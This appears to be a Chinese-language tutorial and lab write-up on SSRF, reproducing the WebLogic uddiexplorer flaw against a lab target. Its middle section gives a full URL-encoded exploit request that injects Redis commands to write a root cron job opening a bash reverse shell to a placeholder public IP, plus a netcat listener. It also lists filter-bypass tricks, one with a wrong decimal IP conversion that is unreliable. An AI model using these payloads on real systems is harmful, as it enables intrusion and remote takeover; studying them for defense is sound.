SSRF




概念
Server Side Request Forgery 服务端请求伪造
是由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
原理
很多web应用都提供了从其他的服务器上获取数据的功能,如使用指定的url,web应用就可以获取图片,下载文件,读取文件内容等(这个url是远程的url,并不是本地的,说了个废话)
SSRF的实质是利用存在缺陷的web应用作为代理来进行攻击远程和本地的服务器
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
攻击方式

危害
- 内外网的端口和服务扫描
- 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
- 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
- 下载内网资源,利用file协议读取本地敏感数据文件等
- 进行跳板
相关协议
- file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
- http/https协议:探测内网主机存活
- dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
weblogic ssrf复现
搭建环境

查看靶场说明
进入weblogic的ssrf的目录下,使用gedit命令查看README.md

xshell会让提示下Xmanger

直接下本地看
访问ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用

访问ip:7001/uddiexplorer/SearchPublicRegistries.jsp

探测内网状态

构造payload来检验端口是否开放并且是否为HTTP协议operator=http://127.0.0.1:7001,返回status code就说明端口开放并且为HTTP协议

尝试一个不存在的端口7777,返回could not connect over HTTP to server,就是说明端口不存在

如果端口开放访问的是非http协议,则会返回did not have a valid SOAP content-type

在查看Redis端口开放状态时,一直不行,看一下才发现是没有起来

探测Redis端口情况
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.1:6379可以连通:
也可以写个脚本跑一下

注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器
发送Redis命令,将弹shell脚本写入/etc/crontab
1 | set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/port 0>&1\n\n\n\n" |
对其进行url编码
1 | set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F公网ip%2F监听端口%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave |
注:换行符是“\r\n”,也就是“%0D%0A”
\r是回车,\n是换行
将url编码后的字符串放在ssrf域名后面,go
1 | GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.1:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F公网ip%2F监听端口%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave HTTP/1.1 |

nc -lvp 4444
可进行利用的cron还有以下几个地方
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
绕过
添加端口号 http://127.0.0.1:8080
可以指向任意ip的域名 xip.io
ip地址转换成进制来访问 192.168.0.1=32322